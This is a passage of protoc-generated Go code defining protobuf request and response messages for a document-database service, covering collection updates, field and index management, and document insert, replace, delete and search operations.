(*DeleteCollectionResponse) ProtoMessage() {}\n\nfunc (x *DeleteCollectionResponse) ProtoReflect() protoreflect.Message {\n\tmi := &file_documents_proto_msgTypes[10]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use DeleteCollectionResponse.ProtoReflect.Descriptor instead.\nfunc (*DeleteCollectionResponse) Descriptor() ([]byte, []int) {\n\treturn file_documents_proto_rawDescGZIP(), []int{10}\n}\n\ntype UpdateCollectionRequest struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\tName                string `protobuf:\"bytes,1,opt,name=name,proto3\" json:\"name,omitempty\"`\n\tDocumentIdFieldName string `protobuf:\"bytes,2,opt,name=documentIdFieldName,proto3\" json:\"documentIdFieldName,omitempty\"`\n}\n\nfunc (x *UpdateCollectionRequest) Reset() {\n\t*x = UpdateCollectionRequest{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_documents_proto_msgTypes[11]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *UpdateCollectionRequest) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*UpdateCollectionRequest) ProtoMessage() {}\n\nfunc (x *UpdateCollectionRequest) ProtoReflect() protoreflect.Message {\n\tmi := &file_documents_proto_msgTypes[11]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use UpdateCollectionRequest.ProtoReflect.Descriptor instead.\nfunc (*UpdateCollectionRequest) Descriptor() ([]byte, []int) {\n\treturn file_documents_proto_rawDescGZIP(), []int{11}\n}\n\nfunc (x *UpdateCollectionRequest) GetName() string {\n\tif x != nil {\n\t\treturn x.Name\n\t}\n\treturn \"\"\n}\n\nfunc (x *UpdateCollectionRequest) GetDocumentIdFieldName() string {\n\tif x != nil {\n\t\treturn x.DocumentIdFieldName\n\t}\n\treturn \"\"\n}\n\ntype UpdateCollectionResponse struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n}\n\nfunc (x *UpdateCollectionResponse) Reset() {\n\t*x = UpdateCollectionResponse{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_documents_proto_msgTypes[12]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *UpdateCollectionResponse) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*UpdateCollectionResponse) ProtoMessage() {}\n\nfunc (x *UpdateCollectionResponse) ProtoReflect() protoreflect.Message {\n\tmi := &file_documents_proto_msgTypes[12]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use UpdateCollectionResponse.ProtoReflect.Descriptor instead.\nfunc (*UpdateCollectionResponse) Descriptor() ([]byte, []int) {\n\treturn file_documents_proto_rawDescGZIP(), []int{12}\n}\n\ntype AddFieldRequest struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\tCollectionName string `protobuf:\"bytes,1,opt,name=collectionName,proto3\" json:\"collectionName,omitempty\"`\n\tField          *Field `protobuf:\"bytes,2,opt,name=field,proto3\" json:\"field,omitempty\"`\n}\n\nfunc (x *AddFieldRequest) Reset() {\n\t*x = AddFieldRequest{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_documents_proto_msgTypes[13]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *AddFieldRequest) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*AddFieldRequest) ProtoMessage() {}\n\nfunc (x *AddFieldRequest) ProtoReflect() protoreflect.Message {\n\tmi := &file_documents_proto_msgTypes[13]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use AddFieldRequest.ProtoReflect.Descriptor instead.\nfunc (*AddFieldRequest) Descriptor() ([]byte, []int) {\n\treturn file_documents_proto_rawDescGZIP(), []int{13}\n}\n\nfunc (x *AddFieldRequest) GetCollectionName() string {\n\tif x != nil {\n\t\treturn x.CollectionName\n\t}\n\treturn \"\"\n}\n\nfunc (x *AddFieldRequest) GetField() *Field {\n\tif x != nil {\n\t\treturn x.Field\n\t}\n\treturn nil\n}\n\ntype AddFieldResponse struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n}\n\nfunc (x *AddFieldResponse) Reset() {\n\t*x = AddFieldResponse{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_documents_proto_msgTypes[14]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *AddFieldResponse) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*AddFieldResponse) ProtoMessage() {}\n\nfunc (x *AddFieldResponse) ProtoReflect() protoreflect.Message {\n\tmi := &file_documents_proto_msgTypes[14]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use AddFieldResponse.ProtoReflect.Descriptor instead.\nfunc (*AddFieldResponse) Descriptor() ([]byte, []int) {\n\treturn file_documents_proto_rawDescGZIP(), []int{14}\n}\n\ntype RemoveFieldRequest struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\tCollectionName string `protobuf:\"bytes,1,opt,name=collectionName,proto3\" json:\"collectionName,omitempty\"`\n\tFieldName      string `protobuf:\"bytes,2,opt,name=fieldName,proto3\" json:\"fieldName,omitempty\"`\n}\n\nfunc (x *RemoveFieldRequest) Reset() {\n\t*x = RemoveFieldRequest{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_documents_proto_msgTypes[15]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *RemoveFieldRequest) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*RemoveFieldRequest) ProtoMessage() {}\n\nfunc (x *RemoveFieldRequest) ProtoReflect() protoreflect.Message {\n\tmi := &file_documents_proto_msgTypes[15]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use RemoveFieldRequest.ProtoReflect.Descriptor instead.\nfunc (*RemoveFieldRequest) Descriptor() ([]byte, []int) {\n\treturn file_documents_proto_rawDescGZIP(), []int{15}\n}\n\nfunc (x *RemoveFieldRequest) GetCollectionName() string {\n\tif x != nil {\n\t\treturn x.CollectionName\n\t}\n\treturn \"\"\n}\n\nfunc (x *RemoveFieldRequest) GetFieldName() string {\n\tif x != nil {\n\t\treturn x.FieldName\n\t}\n\treturn \"\"\n}\n\ntype RemoveFieldResponse struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n}\n\nfunc (x *RemoveFieldResponse) Reset() {\n\t*x = RemoveFieldResponse{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_documents_proto_msgTypes[16]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *RemoveFieldResponse) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*RemoveFieldResponse) ProtoMessage() {}\n\nfunc (x *RemoveFieldResponse) ProtoReflect() protoreflect.Message {\n\tmi := &file_documents_proto_msgTypes[16]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use RemoveFieldResponse.ProtoReflect.Descriptor instead.\nfunc (*RemoveFieldResponse) Descriptor() ([]byte, []int) {\n\treturn file_documents_proto_rawDescGZIP(), []int{16}\n}\n\ntype CreateIndexRequest struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\tCollectionName string   `protobuf:\"bytes,1,opt,name=collectionName,proto3\" json:\"collectionName,omitempty\"`\n\tFields         []string `protobuf:\"bytes,2,rep,name=fields,proto3\" json:\"fields,omitempty\"`\n\tIsUnique       bool     `protobuf:\"varint,3,opt,name=isUnique,proto3\" json:\"isUnique,omitempty\"`\n}\n\nfunc (x *CreateIndexRequest) Reset() {\n\t*x = CreateIndexRequest{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_documents_proto_msgTypes[17]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *CreateIndexRequest) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*CreateIndexRequest) ProtoMessage() {}\n\nfunc (x *CreateIndexRequest) ProtoReflect() protoreflect.Message {\n\tmi := &file_documents_proto_msgTypes[17]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use CreateIndexRequest.ProtoReflect.Descriptor instead.\nfunc (*CreateIndexRequest) Descriptor() ([]byte, []int) {\n\treturn file_documents_proto_rawDescGZIP(), []int{17}\n}\n\nfunc (x *CreateIndexRequest) GetCollectionName() string {\n\tif x != nil {\n\t\treturn x.CollectionName\n\t}\n\treturn \"\"\n}\n\nfunc (x *CreateIndexRequest) GetFields() []string {\n\tif x != nil {\n\t\treturn x.Fields\n\t}\n\treturn nil\n}\n\nfunc (x *CreateIndexRequest) GetIsUnique() bool {\n\tif x != nil {\n\t\treturn x.IsUnique\n\t}\n\treturn false\n}\n\ntype CreateIndexResponse struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n}\n\nfunc (x *CreateIndexResponse) Reset() {\n\t*x = CreateIndexResponse{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_documents_proto_msgTypes[18]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *CreateIndexResponse) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*CreateIndexResponse) ProtoMessage() {}\n\nfunc (x *CreateIndexResponse) ProtoReflect() protoreflect.Message {\n\tmi := &file_documents_proto_msgTypes[18]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use CreateIndexResponse.ProtoReflect.Descriptor instead.\nfunc (*CreateIndexResponse) Descriptor() ([]byte, []int) {\n\treturn file_documents_proto_rawDescGZIP(), []int{18}\n}\n\ntype DeleteIndexRequest struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\tCollectionName string   `protobuf:\"bytes,1,opt,name=collectionName,proto3\" json:\"collectionName,omitempty\"`\n\tFields         []string `protobuf:\"bytes,2,rep,name=fields,proto3\" json:\"fields,omitempty\"`\n}\n\nfunc (x *DeleteIndexRequest) Reset() {\n\t*x = DeleteIndexRequest{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_documents_proto_msgTypes[19]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *DeleteIndexRequest) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*DeleteIndexRequest) ProtoMessage() {}\n\nfunc (x *DeleteIndexRequest) ProtoReflect() protoreflect.Message {\n\tmi := &file_documents_proto_msgTypes[19]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use DeleteIndexRequest.ProtoReflect.Descriptor instead.\nfunc (*DeleteIndexRequest) Descriptor() ([]byte, []int) {\n\treturn file_documents_proto_rawDescGZIP(), []int{19}\n}\n\nfunc (x *DeleteIndexRequest) GetCollectionName() string {\n\tif x != nil {\n\t\treturn x.CollectionName\n\t}\n\treturn \"\"\n}\n\nfunc (x *DeleteIndexRequest) GetFields() []string {\n\tif x != nil {\n\t\treturn x.Fields\n\t}\n\treturn nil\n}\n\ntype DeleteIndexResponse struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n}\n\nfunc (x *DeleteIndexResponse) Reset() {\n\t*x = DeleteIndexResponse{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_documents_proto_msgTypes[20]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *DeleteIndexResponse) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*DeleteIndexResponse) ProtoMessage() {}\n\nfunc (x *DeleteIndexResponse) ProtoReflect() protoreflect.Message {\n\tmi := &file_documents_proto_msgTypes[20]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use DeleteIndexResponse.ProtoReflect.Descriptor instead.\nfunc (*DeleteIndexResponse) Descriptor() ([]byte, []int) {\n\treturn file_documents_proto_rawDescGZIP(), []int{20}\n}\n\ntype InsertDocumentsRequest struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\tCollectionName string             `protobuf:\"bytes,1,opt,name=collectionName,proto3\" json:\"collectionName,omitempty\"`\n\tDocuments      []*structpb.Struct `protobuf:\"bytes,2,rep,name=documents,proto3\" json:\"documents,omitempty\"`\n}\n\nfunc (x *InsertDocumentsRequest) Reset() {\n\t*x = InsertDocumentsRequest{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_documents_proto_msgTypes[21]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *InsertDocumentsRequest) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*InsertDocumentsRequest) ProtoMessage() {}\n\nfunc (x *InsertDocumentsRequest) ProtoReflect() protoreflect.Message {\n\tmi := &file_documents_proto_msgTypes[21]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use InsertDocumentsRequest.ProtoReflect.Descriptor instead.\nfunc (*InsertDocumentsRequest) Descriptor() ([]byte, []int) {\n\treturn file_documents_proto_rawDescGZIP(), []int{21}\n}\n\nfunc (x *InsertDocumentsRequest) GetCollectionName() string {\n\tif x != nil {\n\t\treturn x.CollectionName\n\t}\n\treturn \"\"\n}\n\nfunc (x *InsertDocumentsRequest) GetDocuments() []*structpb.Struct {\n\tif x != nil {\n\t\treturn x.Documents\n\t}\n\treturn nil\n}\n\ntype InsertDocumentsResponse struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\tTransactionId uint64   `protobuf:\"varint,1,opt,name=transactionId,proto3\" json:\"transactionId,omitempty\"`\n\tDocumentIds   []string `protobuf:\"bytes,2,rep,name=documentIds,proto3\" json:\"documentIds,omitempty\"`\n}\n\nfunc (x *InsertDocumentsResponse) Reset() {\n\t*x = InsertDocumentsResponse{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_documents_proto_msgTypes[22]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *InsertDocumentsResponse) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*InsertDocumentsResponse) ProtoMessage() {}\n\nfunc (x *InsertDocumentsResponse) ProtoReflect() protoreflect.Message {\n\tmi := &file_documents_proto_msgTypes[22]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use InsertDocumentsResponse.ProtoReflect.Descriptor instead.\nfunc (*InsertDocumentsResponse) Descriptor() ([]byte, []int) {\n\treturn file_documents_proto_rawDescGZIP(), []int{22}\n}\n\nfunc (x *InsertDocumentsResponse) GetTransactionId() uint64 {\n\tif x != nil {\n\t\treturn x.TransactionId\n\t}\n\treturn 0\n}\n\nfunc (x *InsertDocumentsResponse) GetDocumentIds() []string {\n\tif x != nil {\n\t\treturn x.DocumentIds\n\t}\n\treturn nil\n}\n\ntype ReplaceDocumentsRequest struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\tQuery    *Query           `protobuf:\"bytes,1,opt,name=query,proto3\" json:\"query,omitempty\"`\n\tDocument *structpb.Struct `protobuf:\"bytes,2,opt,name=document,proto3\" json:\"document,omitempty\"`\n}\n\nfunc (x *ReplaceDocumentsRequest) Reset() {\n\t*x = ReplaceDocumentsRequest{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_documents_proto_msgTypes[23]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *ReplaceDocumentsRequest) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*ReplaceDocumentsRequest) ProtoMessage() {}\n\nfunc (x *ReplaceDocumentsRequest) ProtoReflect() protoreflect.Message {\n\tmi := &file_documents_proto_msgTypes[23]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use ReplaceDocumentsRequest.ProtoReflect.Descriptor instead.\nfunc (*ReplaceDocumentsRequest) Descriptor() ([]byte, []int) {\n\treturn file_documents_proto_rawDescGZIP(), []int{23}\n}\n\nfunc (x *ReplaceDocumentsRequest) GetQuery() *Query {\n\tif x != nil {\n\t\treturn x.Query\n\t}\n\treturn nil\n}\n\nfunc (x *ReplaceDocumentsRequest) GetDocument() *structpb.Struct {\n\tif x != nil {\n\t\treturn x.Document\n\t}\n\treturn nil\n}\n\ntype ReplaceDocumentsResponse struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\tRevisions []*DocumentAtRevision `protobuf:\"bytes,1,rep,name=revisions,proto3\" json:\"revisions,omitempty\"`\n}\n\nfunc (x *ReplaceDocumentsResponse) Reset() {\n\t*x = ReplaceDocumentsResponse{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_documents_proto_msgTypes[24]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *ReplaceDocumentsResponse) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*ReplaceDocumentsResponse) ProtoMessage() {}\n\nfunc (x *ReplaceDocumentsResponse) ProtoReflect() protoreflect.Message {\n\tmi := &file_documents_proto_msgTypes[24]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use ReplaceDocumentsResponse.ProtoReflect.Descriptor instead.\nfunc (*ReplaceDocumentsResponse) Descriptor() ([]byte, []int) {\n\treturn file_documents_proto_rawDescGZIP(), []int{24}\n}\n\nfunc (x *ReplaceDocumentsResponse) GetRevisions() []*DocumentAtRevision {\n\tif x != nil {\n\t\treturn x.Revisions\n\t}\n\treturn nil\n}\n\ntype DeleteDocumentsRequest struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\tQuery *Query `protobuf:\"bytes,1,opt,name=query,proto3\" json:\"query,omitempty\"`\n}\n\nfunc (x *DeleteDocumentsRequest) Reset() {\n\t*x = DeleteDocumentsRequest{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_documents_proto_msgTypes[25]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *DeleteDocumentsRequest) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*DeleteDocumentsRequest) ProtoMessage() {}\n\nfunc (x *DeleteDocumentsRequest) ProtoReflect() protoreflect.Message {\n\tmi := &file_documents_proto_msgTypes[25]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use DeleteDocumentsRequest.ProtoReflect.Descriptor instead.\nfunc (*DeleteDocumentsRequest) Descriptor() ([]byte, []int) {\n\treturn file_documents_proto_rawDescGZIP(), []int{25}\n}\n\nfunc (x *DeleteDocumentsRequest) GetQuery() *Query {\n\tif x != nil {\n\t\treturn x.Query\n\t}\n\treturn nil\n}\n\ntype DeleteDocumentsResponse struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n}\n\nfunc (x *DeleteDocumentsResponse) Reset() {\n\t*x = DeleteDocumentsResponse{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_documents_proto_msgTypes[26]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *DeleteDocumentsResponse) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*DeleteDocumentsResponse) ProtoMessage() {}\n\nfunc (x *DeleteDocumentsResponse) ProtoReflect() protoreflect.Message {\n\tmi := &file_documents_proto_msgTypes[26]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use DeleteDocumentsResponse.ProtoReflect.Descriptor instead.\nfunc (*DeleteDocumentsResponse) Descriptor() ([]byte, []int) {\n\treturn file_documents_proto_rawDescGZIP(), []int{26}\n}\n\ntype SearchDocumentsRequest struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\tSearchId string `protobuf:\"bytes,1,opt,name=searchId,proto3\" json:\"searchId,omitempty\"`\n\tQuery    *Query `protobuf:\"bytes,2,opt,name=query,proto3\" json:\"query,omitempty\"`\n\tPage     uint32 `protobuf:\"varint,3,opt,name=page,proto3\" json:\"page,omitempty\"`\n\tPageSize uint32 `protobuf:\"varint,4,opt,name=pageSize,proto3\" json:\"pageSize,omitempty\"`\n\tKeepOpen bool   `protobuf:\"varint,5,opt,name=keepOpen,proto3\" json:\"keepOpen,omitempty\"`\n}\n\nfunc (x *SearchDocumentsRequest) Reset() {\n\t*x = SearchDocumentsRequest{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_documents_proto_msgTypes[27]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *SearchDocumentsRequest) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*SearchDocumentsRequest) ProtoMessage() {}\n\nfunc (x *SearchDocumentsRequest) ProtoReflect() protoreflect.Message {\n\tmi := &file_documents_proto_msgTypes[27]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use SearchDocumentsRequest.ProtoReflect.Descriptor instead.\nfunc (*SearchDocumentsRequest) Descriptor() ([]byte, []int) {\n\treturn file_documents_proto_rawDescGZIP(), []int{27}\n}\n\nfunc (x *SearchDocumentsRequest) GetSearchId() string {\n\tif x != nil {\n\t\treturn x.SearchId\n\t}\n\treturn \"\"\n}\n\nfunc (x *SearchDocumentsRequest) GetQuery() *Query {\n\tif x != nil {\n\t\treturn x.Query\n\t}\n\treturn nil\n}\n\nfunc (x *SearchDocumentsRequest) GetPage() uint32 {\n\tif x != nil {\n\t\treturn x.Page\n\t}\n\treturn 0\n}\n\nfunc (x *SearchDocumentsRequest) GetPageSize() uint32 {\n\tif x != nil {\n\t\treturn x.PageSize\n\t}\n\treturn 0\n}\n\nfunc (x *SearchDocumentsRequest) GetKeepOpen() bool {\n\tif x != nil {\n\t\treturn x.KeepOpen\n\t}\n\treturn false\n}\n\ntype Query struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\tCollectionName string             `protobuf:\"bytes,1,opt,name=collectionName,proto3\" json:\"collectionName,omitempty\"`\n\tExpressions    []*QueryExpression `protobuf:\"bytes,2,rep,name=expressions,proto3\" json:\"expressions,omitempty\"`\n\tOrderBy        []*OrderByClause   `protobuf:\"bytes,3,rep,name=orderBy,proto3\" json:\"orderBy,omitempty\"`\n\tLimit          uint32             `protobuf:\"varint,4,opt,name=limit,proto3\" json:\"limit,omitempty\"`\n}\n\nfunc (x *Query) Reset() {\n\t*x = Query{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_documents_proto_msgTypes[28]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *Query) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*Query) ProtoMessage() {}\n\nfunc (x *Query) ProtoReflect() protoreflect.Message {\n\tmi := &file_documents_proto_msgTypes[28]\n\tif protoimpl.UnsafeEnabled && x != nil 